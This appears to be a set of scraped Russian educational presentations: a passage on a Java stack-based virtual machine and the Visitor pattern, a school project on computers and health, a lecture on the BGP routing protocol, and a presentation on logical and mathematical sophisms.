		private Stack<Double> stack;

		public StackVM(VariableStorage storage) {
			this.storage = storage;
			stack=new Stack<Double>();
		}

	Экземпляр виртуальной машины использует внешнее (глобальное) хранилище переменных и локальный стек для реализации алгоритма вычисления по ПОЛИЗ.

54
Виртуальные машины
	Вычисление арифметического выражения сводится к последовательному выполнению отдельных команд виртуальной машины.

	public double execute(Instruction[] program) {
		stack.clear();
		for(Instruction instruction:program) {
			instruction.execute(stack,storage);
		}
		return stack.peek();
	}

	Результат вычислений извлекается из вершины стека.

	public double getLastValue() {
		return stack.peek();
	}

55
Виртуальные машины
	Все команды виртуальной машины реализуются как классы-потомки одного абстрактного класса (интерфейса).

public interface Instruction {
	public void execute(Stack<Double> stack, VariableStorage storage);
}

56
Виртуальные машины
	Реализация арифметических команд выполняется тривиально.

public class Add implements Instruction {
	public void execute(Stack<Double> stack, VariableStorage storage) {
		double op2=stack.pop();
		double op1=stack.pop();
		stack.push(op1+op2);
	}
}

57
Виртуальные машины
	Реализация команд загрузки в стек значений переменных и констант.
public class Variable implements Instruction {
	private String variable;
	public Variable(String variable) {
		this.variable = variable;
	}
	public void execute(Stack<Double> stack, VariableStorage storage) {
		stack.push(storage.getVariable(variable));
	}
}
public class Constant implements Instruction {
	private double value;
	public Constant(double value) {
		this.value = value;
	}
	public void execute(Stack<Double> stack, VariableStorage storage) {
		stack.push(value);
	}
}

58
Виртуальные машины
	Реализация команды присваивания.

public class Assign implements Instruction {
	private String variable;
	public Assign(String variable) {
		this.variable = variable;
	}
	public void execute(Stack<Double> stack, VariableStorage storage) {
		storage.putVariable(variable, stack.peek());
	}
}

59
Виртуальные машины
	Пример. Вычисление дискриминанта

Instruction[] expr1={ new Constant(1),  new Assign("a") }; // a=1;
Instruction[] expr2={ new Constant(-5), new Assign("b") }; // b=-5;
Instruction[] expr3={ new Constant(6),  new Assign("c") }; // c=6;
Instruction[] expr4={  // d=b*b-4*a*c;
		new Variable("b"),
		new Variable("b"),
		new Mul(),
		new Constant(4),
		new Variable("a"),
		new Mul(),
		new Variable("c"),
		new Mul(),
		new Sub(),
		new Assign("d")
		};

60
Виртуальные машины
	Пример. Вычисление дискриминанта

Instruction[] expr1={ new Constant(1),  new Assign("a") }; // a=1;
Instruction[] expr2={ new Constant(-5), new Assign("b") }; // b=-5;
Instruction[] expr3={ new Constant(6),  new Assign("c") }; // c=6;
Instruction[] expr4={  // d=b*b-4*a*c;
		new Variable("b"),
		new Variable("b"),
		new Mul(),
		new Constant(4),
		new Variable("a"),
		new Mul(),
		new Variable("c"),
		new Mul(),
		new Sub(),
		new Assign("d")
		};

61
Виртуальные машины
	VariableStorage storage = new VariableStorage();
	StackVM stackVM = new StackVM(storage);

	stackVM.execute(expr1); // a=1;
	stackVM.execute(expr2); // b=-5;
	stackVM.execute(expr3); // c=6;
	stackVM.execute(expr4); // d=b*b-4*a*c;

	System.out.println("Ответ: " + stackVM.getLastValue());

62
Виртуальные машины
	Алгоритм объектно-ориентированной реализации виртуальной машины, интерпретирующей синтаксическое дерево программы

	При разнообразной обработке структур данных, содержащих объекты различных классов, оказывается удобным следовать паттерну проектирования Visitor ("Посетитель")

63
Виртуальные машины
	Под паттерном проектирования обычно понимается описание взаимодействия объектов и классов, адаптированных для решения общей задачи проектирования в конкретном контексте.

64
Виртуальные машины
Паттерн проектирования Visitor ("Посетитель")

	Позволяет применять различные операции к каждому объекту из некоторой структуры данных.

	Вместо того, чтобы реализовывать каждую операцию в каждом классе, все однотипные операции выносятся в отдельные классы.

65
Виртуальные машины
	Было			Стало

	class A {			class A {
		операция1();		принятьПосетителя();
		операция2();	}
	}				class B {
	class B {				принятьПосетителя();
		операция1();	}
		операция2();	class Посетитель1 {
	}					операцияНадА();
						операцияНадB();
					}
					class Посетитель2 {
						операцияНадА();
						операцияНадB();
					}

66
Виртуальные машины
	Преимущества, получаемые в результате реализации паттерна Visitor ("Посетитель")

Однотипные операции над различными объектами локализуются в одном классе, а не "размазываются" по нескольким классам.

Легко добавлять новые операции над объектами, не изменяя их, а добавляя новые классы-посетители.

67
Виртуальные машины
	Особенности реализации паттерна Visitor ("Посетитель")

1.	Все классы-посетители являются предками абстрактного класса, в котором для каждого типа объекта объявлен свой метод вида:

	class АбстрактныйПосетитель {
		операцияНадА(ТипА объект);
		операцияНадB(ТипB объект);
		. . .
	}

68
Виртуальные машины
2.	В каждом классе-элементе структуры данных объявляется метод, обращающийся к классу-посетителю:

	class A {
		принятьПосетителя(АбстрактныйПосетитель п) {
			п.операцияНадА(this);
		}
	}

	class B {
		принятьПосетителя(АбстрактныйПосетитель п) {
			п.операцияНадB(this);
		}
	}

69
Виртуальные машины
3.	Описываются классы-посетители, выполняющие требуемую обработку объектов структуры.

4.	Пользователь паттерна должен а) сформировать требуемую структуру данных;б) выполнить полный обход структуры данных и для каждого элемента структуры вызвать метод "принятьПосетителя".

70
Виртуальные машины
	При реализации виртуальной машины также могут быть использованы другие паттерны проектирования, например, Interpreptator ("Интерпретатор")


title: Скачать презентацию или конспект Компьютер – друг или враг?

extracted_text:
Создатели проекта: обучающиеся МБОУ «Осинская СОШ №1»
Садыков Ринат (11 «б» класс), Садыков Мансур (7 «б» класс)
Руководитель проекта:
Садыкова Лариса Хоснуловна, учитель математики и информатики
Компьютер –
друг или враг?
Компьютер - друг или враг?
Основополагающий вопрос:
Компьютер –
 друг или враг?

Проблемные вопросы:
Как влияет компьютер на наше здоровье?
Как можно уменьшить вредное воздействие компьютера на человека?
Как сохранить здоровье при ежедневной работе за компьютером?

Компьютер - друг или враг?

Учебные вопросы:
 Значение компьютера в нашей жизни?
 Какие факторы при работе за компьютером могут влиять на здоровье человека?
Что нужно знать, чтобы компьютер был другом?
Существуют ли какие-то специальные средства и методы, которые помогут сохранить здоровье пользователей?

Компьютер - друг?
Компьютер - друг?

Компьютер в нашей жизни
       За свое, относительно не долгое существование компьютер уже успел занять место во многих областях жизнедеятельности человека, он уже не заменим на работе, помогает детям в учёбе, и, конечно же,  является одним из самых любимых развлечений для них. С появлением интернет он ещё и стал лучшим способом поиска информации, делового общения, отдыха, в общем, некоторым людям уже трудно представить жизнь без компьютера.

Компьютер - друг?
Компьютеры являются универсальным инструментом средств информации
 Компьютеры могут облегчить самостоятельное освоение учебного материала.
Компьютеры  сводят в единую систему графические, печатные, аудио, видео средства, эффективно сочетая различные технологии.

Компьютер - друг?

Однако помимо многочисленных плюсов, которые приносит компьютер человеку, не стоит забывать и о его влиянии на здоровье.        Дети стали меньше проводить время на улице, меньше играть в подвижные игры, пользователи интернет стали меньше общаться лично, отдав предпочтение чатам, почте, аське и т.д.

Компьютер - друг?

Компьютер - враг?
Компьютер - враг?
Вредные факторы, влияющие на состояние здоровья людей, работающих за компьютером:
воздействие электромагнитного излучения монитора
стресс при потере информации
перегрузка суставов кистей
сидячее положение в течение
   длительного времени
утомление глаз, нагрузка на зрение

Компьютер – друг или враг?

Как сохранить здоровье при ежедневной работе за компьютером?

Компьютер – друг

1. Профилактика заболеваний органов дыхания:
      Кондиционеры, пылеуловители, ионизаторы, влажная уборка и проветривание помещения снижают вредное воздействие электростатического поля. Эффективно и умывание холодной
водой сразу после работы на компьютере.

Компьютер – друг

2. Профилактика нервных расстройств:
       Если речь идет о ребенке, то необходим серьезный контроль со стороны родителей за содержанием игр и направленностью сайтов, которые ребенок посещает в Интернете.
Необходимо полностью оградить
 ребенка от злых и жестоких игр.

Компьютер – друг

3. Профилактика болезней позвоночника:
1. Правильно подобрать рабочую мебель:
Кресло должно быть на роликах, с регулируемой высотой сиденья и спинкой, без подлокотников, вращающееся вокруг своей оси.
Стол должен иметь специальную выдвижную доску для клавиатуры.
2. В перерывах между работой на
 компьютере необходимо устраивать
 разминку.

Компьютер – друг

4. Профилактика заболеваний глаз:
 Влияние компьютера на зрение уменьшается при работе на современном мониторе с высокой разрешающей способностью и высокой частотой развертки изображения, существенно снижающей эффект мерцания.
Оптимальный размер экрана для малыша - 15 дюймов, а для школьника подойдет 17-дюймовый монитор.
Правильное расстояние до монитора - около 45-60 см, желательно, чтобы он находился ниже уровня глаз

Компьютер – друг

5. Профилактика заболеваний рук:
При работе с клавиатурой, угол сгиба руки в локте должен быть прямым (90 градусов)
 При работе с мышкой кисть должна быть прямой, и лежать на столе как можно дальше от края.
 Стул или кресло должно быть с подлокотниками, так же желательно наличие специальной выпуклости для запястья (коврик для мыши, специальной формы клавиатура или компьютерный стол с такими выпуклостями).

Компьютер – друг

6. Режим работы:
       Ограничение времени работы на компьютере - важный фактор сохранения здоровья.
 Школьникам можно разрешить
проводить перед монитором до
2 часов,устраивая 10-15 минутные перерывы каждые полчаса

Компьютер – друг или враг?
 Современная медицина не может сейчас четко ответить на вопрос, как влияет работа с компьютером на организм человека.
     Мы не можем дать научно обоснованный ответ по той простой причине, что у нас просто недостаточно данных, медицина зафиксировала лишь отдельные достоверные случаи неблагоприятного влияния современных компьютеров на здоровье человека. Это означает лишь, что мы пока не знаем, насколько же это опасно

Компьютер – друг или враг?

Судить о том, каковы отдаленные последствия работы на компьютере для жизни и здоровья человека, с достаточной определенностью можно будет только после того, как сменится поколение компьютерных пользователей, то есть мы с вами все еще находимся в "стадии эксперимента", а вот наши дети и внуки будут обладать более достоверной информацией.
Будьте здоровы, работая за компьютером!
Компьютер – друг или враг?

Используемые источники:
«Болезни от компьютера, профилактика и лечение»
   http://comp-doctor.ru/
«Влияние компьютеров на здоровье «http://www.leovit.ru/health-beauty/health/health_466.html
Подистова Е.А. « Компьютер и здоровье» http://www.celt.ru/articles/art/art_58.phtml


title: Скачать презентацию или конспект Протокол BGP

extracted_text:
Владивостокский государственный университет экономики и сервисаИнститут информатики, инноваций и бизнес системКафедра информационных систем и компьютерных технологий

 Предмет:
«Телекоммуникационные технологии»

Руководитель: Сачко Максим Анатольевич, ст. преподаватель
Тема 7

Протокол BGP

Содержание:

 Задача внешней маршрутизации.
 Внутренний BGP, маршрутные серверы и атрибут NEXT_HOP.
 Атрибуты пути (Path Attributes).
 Обработка маршрутной информации (Decision Process) и маршрутные политики.
 Реализация BGP.

4

 Задача внешней маршрутизации.

– построение маршрутов между сетями, принадлежащими разным автономным системам.
5

Внутреннее строение автономных систем скрыто, известны только адреса IP-сетей, составляющих АС.

6

2. Внутренний BGP, маршрутные серверы и атрибут NEXT_HOP.

BGP-маршрутизаторы, находящиеся в одной АС, также должны обмениваться между собой маршрутной информацией. Это необходимо для согласованного отбора внешних маршрутов в соответствии с политикой данной АС и для передачи транзитных маршрутов через автономную систему.

7

Такой обмен производится также по протоколу BGP, который в этом случае часто называется IBGP (Internal BGP), (соответственно, протокол обмена маршрутами между маршрутзаторами разных АС обозначается EBGP –External BGP).
8

Таким образом, участникам группы нет необходимости устанавливать BGP-соединения попарно; вместо этого каждый участник устанавливает одно соединение с сервером. из различных АС.
9

Группой маршрутизаторов могут быть, например, все BGP-маршрутизаторы данной АС, однако маршрутные серверы могут применяться для уменьшения числа соединений также и на внешних BGP-соединениях – в случае, когда в одной физической сети находится много BGP-маршрутизаторов из различных АС.
10

Точка обмена трафиком (Internet Exchange Point)
A-E – пограничные BGP-маршрутизаторы, АС1-АС5 – сети автономных систем, RS – сервер маршрутной информации.

Исключение маршрутного сервера из маршрута производится путем установки значения атрибута NEXT_HOP: анонсируя маршруты в сеть АС1, сервер RS указывает NEXT_HOP=A. Таким образом, маршрутизатор (например, Е), получивший и принявший к использованию такой маршрут, будет пересылать данные, предназначенные для АС1, непосредственно маршрутизатору А.
12

3. Атрибуты пути (Path Attributes).

3.1. ORIGIN

ORIGIN (тип 1) – обязательный атрибут, указывающий источник информации о маршруте:
0 – IGP (информация о достижимости сети получена от протокола внутренней маршрутизации или введена администратором),
13

1 – EGP (информация о достижимости сети импортирована из устаревшего протокола EGP),
2 – INCOMPLETE (информация получена другим образом, например, RIP->OSPF->BGP или BGP->OSPF->BGP).
14

Атрибут ORIGIN вставляется маршрутизатором, который генерирует информацию о маршруте, и при последующем анонсировании маршрута другими маршрутизаторами не изменяется. Атрибут фактически определяет надежность источника информации о маршруте (наиболее надежный ORIGIN=0).
15

3.2. AS_PATH.

AS_PATH (тип 2) – обязательный атрибут, содержащий список автономных систем, через которые должна пройти дейтаграмма на пути в указанную в маршруте сеть. AS_PATH представляет собой чередование сегментов двух типов: AS_SEQUENCE – упорядоченный список АС, и AS_SET – множество АС
16

3.3. NEXT_HOP.

NEXT_HOP (тип 3) – обязательный атрибут, указывающий адрес следующего BGP-маршрутизатора на пути в заявленную сеть (см. обсуждение в п. 7.2); может совпадать или не совпадать с адресом BGP-узла, анонсирующего маршрут.

17

3.4. MULTI_EXIT_DISC.

MULTI_EXIT_DISC (тип 4) – необязательный атрибут, представляющий собой приоритет использования объявляющего маршрутизатора для достижения через него анонсируемой сети, то есть фактически это метрика маршрута с точки зрения анонсирующего маршрут BGP-узла.
18

3.5. LOCAL_PREF.

LOCAL_PREF (тип 5) – необязательный атрибут, устанавливающий для данной АС приоритет данного маршрута среди всех маршрутов к заявленной сети, известных внутри АС.

19

3.6. Атрибуты агрегирования.

ATOMIC_AGGREGATE (тип 6) и AGGREGATOR (тип 7) – необязательные атрибуты, связанные с операциями агрегирования (объединения) нескольких маршрутов в один. Для более детального ознакомления с ними отсылаем читателей к документу RFC-1771.
20

4. Обработка маршрутной информации (Decision Process) и маршрутные политики.

4.1. Decision Process.

21

Обработка маршрутной информации модулем BGP
22

Конфликты маршрутных политик
23

регулярное выражение для значения AS_PATH (частные случаи: номер конечной АС маршрута, АС соседа, от которого получен маршрут);
адрес сети, в которую ведет маршрут;
адрес соседа, приславшего информацию о маршруте;
происхождение маршрута (атрибут ORIGIN).

Отбор маршрутов из базы Adj-RIBsIn
24

не принимать маршрут – удалить из Adj-RIBsIn (фильтрация);

установить административный вес маршрута;

установить значение атрибута LOCAL_PREF;

установить маршрут в качестве маршрута по умолчанию.

Политика к удовлетворяющему критерию
25

регулярное выражение для значения AS_PATH (частные случаи: номер конечной АС маршрута, АС соседа, от которого получен маршрут);
адрес сети, в которую ведет маршрут;
адрес соседа, которому этот маршрут объявляется;
происхождение маршрута (атрибут ORIGIN).

Отбор маршрутов в базу Adj-RIBsOut
26

не объявлять маршрут (фильтрация);
MULTI_EXIT_DISC: не устанавливать, установить указанное значение, взять в качестве значения метрику маршрута из IGP;
произвести агрегирование сетей в общий префикс;
модифицировать AS_PATH указанным образом;
заменить маршрут на default.

Политика к удовлетворяющему критерию
27

   Пара BGP-соседей устанавливает между собой соединение по протоколу TCP, порт 179. Соседи, принадлежащие разным АС, должны быть доступны друг другу непосредственно; для соседей из одной АС такого ограничения нет, поскольку протокол внутренней маршрутизации обеспечит наличие всех необходимых маршрутов между узлами одной автономной системы.

5. Реализация BGP
28
OPEN – посылается после установления TCP-соединения. Ответом на OPEN является сообщение KEEPALIVE, если вторая сторона согласна стать BGP-соседом; иначе посылается сообщение NOTIFICATION с кодом, поясняющим причину отказа, и соединение разрывается.
KEEPALIVE – сообщение предназначено для подтверждения согласия установить соседские отношения, а также для мониторинга активности открытого соединения: для этого BGP-соседи обмениваются KEEPALIVE-сообщениями через определенные интервалы времени.

Типы BGP-сообщений
29

UPDATE – сообщение предназначено для анонсирования и отзыва маршрутов. После установления соединения с помощью сообщений UPDATE пересылаются все маршруты, которые маршрутизатор хочет объявить соседу (full update), после чего пересылаются только данные о добавленных или удаленных маршрутах по мере их появления (partial update).

Типы BGP-сообщений
30

NOTIFICATION – сообщение этого типа используется для информирования соседа о причине закрытия соединения. После отправления этого сообщения BGP-соединение закрывается.

Типы BGP-сообщений
31

16 октетов - маркер: в сообщении OPEN всегда, и при раб㔾Ґе без аутентификации - в других собщениях, заполнен единицами. Иначе содержит аутентификационную информацию. Сопутствующая функция маркера - повышение надежности выделения границы сообщения в потоке данных.
2 октета - длина сообщения в октетах, включая заголовок.
1 октет - тип сообщения

Формат BGP-сообщения
Вопросы для самопроверки:
Назовите тип протокола маршрутизации BGP?
Как называется связующая сеть BGP-системы не принадлежит ни к одной автономной системе?
С помощью чего соединяются автономные BGP-системы?
Что такое тупиковая автономная система протокола BGP?
Что такое многопортовая автономная система протокола BGP?
В чем состоят положительные и отрицательные особенности протокола BGP?
Рекомендуемая литература:
Мамаев М.А. Телекоммуникационные технологии (Сети TCP/IP). – Владивосток: Изд-во ВГУЭС, 2004.
Леинванд А., Пински Б. Конфигурирование маршрутизаторов Cisco. 3-е издание. – М.: "Вильямс", 2007.
Мамаев М., Петренко С. Технологии защиты информации в Интернете. Специальный справочник. – СПб: "Питер", 2005.
Хелеби С., Мак-Ферсон Д. Принципы маршрутизации в Internet, 3-е издание. – М.: "Вильямс", 2008.
Использование материалов презентации

Использование данной презентации, может осуществляться только при условии соблюдения требований законов  РФ об авторском праве и интеллектуальной собственности, а также с учетом требований настоящего Заявления.

Презентация является собственностью авторов. Разрешается распечатывать копию любой части презентации для личного некоммерческого использования, однако не допускается распечатывать какую-либо часть презентации с любой иной целью или по каким-либо причинам вносить изменения в любую часть презентации. Использование любой части презентации в другом произведении, как в печатной, электронной, так и иной форме, а также использование любой части презентации в другой презентации посредством ссылки или иным образом допускается только после получения письменного согласия авторов.


title: Скачать презентацию или конспект Софизмы

extracted_text:
Совизмы

ф
Немного из истории софизма

Термин “софизм” впервые был введён Аристотелем, происходит от древнегреческого слова sophisma - «мастерство, хитрая уловка, выдумка, мнимая мудрость».
Примеры софизмов , знаменитых ещё в древности
«Что ты не терял, то имеешь; рога ты не терял; значит у тебя есть рога»
 «Сидящий встал; кто встал, тот стоит; следовательно, сидящий стоит»
«Этот пес твой; он отец; значит, он твой отец»
«— Знаете ли вы, о чем я сейчас хочу вас спросить?
          — Нет.
          — Неужели вы не знаете, что лгать нехорошо?
          — Конечно, знаю.
          — Но именно об этом я и собирался вас спросить, а вы ответили, что не знаете; выходит, вы знаете то, чего вы не знаете»
Софизмы существуют уже более двух тысячелетий. Их возникновение обычно связывается с философской деятельностью  софистов (Древняя Греция V-IV вв. до н.э.) — платных учителей мудрости, учивших всех желающих философии, логике и, особенно, риторике (науке и искусству красноречия).
Самые известные представители направления софистики в Древней Греции — Протагор, Горгий, Продик.
Классификация софизмов
Лекарства
«Лекарство, принимаемое больным, есть добро. Чем больше делать добра, тем лучше. Значит, лекарств нужно принимать как можно больше».

Вор
«Вор не желает приобрести ничего дурного. Приобретение хорошего есть дело хорошее. Следовательно, вор желает хорошего».

логические
алгебраические
Единица равна нулю
Возьмем уравнение х-а=0, разделим обе части уравнения на (х-а), получаем
(х-а)/(х-а)=0/(х-а) и отсюда 1=0.
Ошибка:
Ошибка в том, что х-а равно нулю, а на ноль делить нельзя.
терминологические
«Все углы треугольника = π»
в смысле «Сумма углов треугольника = π»
 «сколько пять плюс два умножить на два?»
Здесь трудно решить имеется ли в виду 9 (т.е. 5 + (2*2)) или 14 (т.е. (5 + 2) * 2).
.
арифметические
Один рубль не равен ста копейкам.
1 р.= 100 коп.
10 р.= 1000 коп.
Умножим обе части этих верных равенств, получим:
10 р.= 100000 коп., откуда следует:
1 р.= 10000 коп., т.е. 1 р. не равен 100 коп.
Ошибка:
Ошибка, допущенная в этом софизме, состоит в нарушении правил действия с именованными величинами: все действия, совершаемые над величинами, необходимо совершать также и над их размерностями.
геометрические
«из точки на прямой можно опустить два перпендикуляра»
Попытаемся "доказать", что через точку, лежащую вне прямой, к этой прямой можно провести два перпендикуляра. С этой целью возьмем треугольник АВС.
На сторонах АВ и ВС этого треугольника, как на диаметрах, построим полуокружности.
Пусть эти полуокружности пересекаются со стороной АС в точках Е и D.
Соединим точки Е и D прямыми с точкой В.
Угол АЕВ прямой, как вписанный, опирающийся на диаметр; угол ВDС также прямой.
Следовательно, ВЕ перпендикулярна
АС и В
D перпендикулярна АС.
Через точку В проходят два
перпендикуляра к прямой АС.
Чем же полезны софизмы для изучающих физику? Что они могут дать?

 Разбор софизмов, прежде всего, развивает логическое мышление, то есть прививает навыки правильного мышления.

Что особенно важно, разбор софизмов помогает сознательному усвоению изучаемого материала, развивает наблюдательность, вдумчивость и критическое отношение к тому, что изучается.
 Наконец, разбор софизмов увлекателен. Чем труднее софизм, тем большее удовлетворение доставляет его анализ.
Ценно, не то,  что ошибок не совершил, а то, что нашел причину ошибки и устранил её.